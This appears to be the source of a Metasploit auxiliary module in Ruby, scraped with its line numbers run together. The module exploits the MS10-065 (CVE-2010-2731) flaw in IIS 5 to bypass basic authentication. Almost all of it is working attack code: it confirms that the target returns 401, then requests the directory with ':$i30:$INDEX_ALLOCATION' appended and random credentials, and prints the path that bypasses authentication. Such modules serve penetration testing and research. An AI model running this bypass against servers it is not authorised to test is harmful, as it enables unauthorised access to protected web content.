Path: blob/master/modules/auxiliary/admin/http/iis_auth_bypass.rb
21546 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient78def initialize(info = {})9super(10update_info(11info,12'Name' => 'MS10-065 Microsoft IIS 5 NTFS Stream Authentication Bypass',13'Description' => %q{14This module bypasses basic authentication for Internet Information Services (IIS).15By appending the NTFS stream name to the directory name in a request, it is16possible to bypass authentication.17},18'References' => [19[ 'CVE', '2010-2731' ],20[ 'OSVDB', '66160' ],21[ 'MSB', 'MS10-065' ],22[ 'URL', 'https://soroush.secproject.com/blog/2010/07/iis5-1-directory-authentication-bypass-by-using-i30index_allocation/' ]23],24'Author' => [25'Soroush Dalili',26'sinn3r'27],28'License' => MSF_LICENSE,29'DisclosureDate' => '2010-07-02',30'Notes' => {31'Stability' => [CRASH_SAFE],32'SideEffects' => [IOC_IN_LOGS],33'Reliability' => []34}35)36)3738register_options(39[40OptString.new('TARGETURI', [true, 'The URI directory where basic auth is enabled', '/'])41]42)43end4445def has_auth46uri = normalize_uri(target_uri.path)47uri << '/' if uri[-1, 1] != '/'4849res = send_request_cgi({50'uri' => uri,51'method' => 'GET'52})53vprint_status(res.body) if res5455return (res and res.code == 401)56end5758def try_auth59uri = normalize_uri(target_uri.path)60uri << '/' if uri[-1, 1] != '/'61uri << Rex::Text.rand_text_alpha(rand(5..14)) + ".#{Rex::Text.rand_text_alpha(3)}"6263dir = File.dirname(uri) + ':$i30:$INDEX_ALLOCATION' + '/'6465user = Rex::Text.rand_text_alpha(rand(5..14))66pass = Rex::Text.rand_text_alpha(rand(5..14))6768vprint_status("Requesting: #{dir}")69res = send_request_cgi({70'uri' => dir,71'method' => 'GET',72'authorization' => basic_auth(user, pass)73})74vprint_status(res.body) if res7576return (res && (res.code != 401) && (res.code != 404)) ? dir : ''77end7879def run80if !has_auth81print_error('No basic authentication enabled')82return83end8485bypass_string = try_auth8687if bypass_string.empty?88print_error('The bypass attempt did not work')89else90print_good("You can bypass auth by doing: #{bypass_string}")91end92end93end949596